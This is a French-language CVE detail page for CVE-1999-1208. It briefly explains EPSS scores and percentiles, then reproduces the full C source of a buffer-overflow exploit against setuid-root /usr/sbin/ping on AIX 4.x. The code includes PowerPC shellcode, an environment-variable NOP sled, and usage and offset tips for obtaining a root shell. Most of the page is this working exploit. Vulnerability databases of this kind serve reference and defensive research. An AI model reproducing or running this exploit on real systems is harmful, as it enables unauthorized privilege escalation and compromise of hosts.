CVE-1999-1208 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/387/info A buffer overflow condition exists in some versions of /usr/sbin/ping under AIX. Given that ping is SUID root, this overflow allows malicious users to gain root from it. /* * * /usr/sbin/ping exploit (kinda' coded) by BeastMaster V * * CREDITS: this is simpy a modified version of an exploit * posted by Georgi Guninski (guninski@hotmail.com) * * This will give a #rootshell# by overwriting a buffer * in /usr/sbin/ping while ping is setuid to root. * This exploit is designed for AIX 4.x on PPC platform. * * * USAGE: * $ cc -o foo -g aix_ping.c * $ ./foo 5100 * # * * * HINT: Try giving ranges from 5090 through 5500 * * DISCLAIMER: use this program in a responsible manner. * * --> don't forget to visit http://www.rootshell.com * --> for more goodies :-) * */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } main(int argc,char **argv,char **env) { unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt; int min=100, max=280; unsigned int return_address; char *newenv[8]; char *args[4]; int offset=5300; if (argc==2) offset = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff) ; *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff ); return_address=(unsigned)&buf[0]+offset; for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; for(i=0;i<max-1;i++) frame[i]=return_address; frame[i]=0; newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=NULL; args[0]="ping"; args[1]=(char*)&frame[0]; execve("/usr/sbin/ping",args,newenv); perror("Error executing execve \n"); }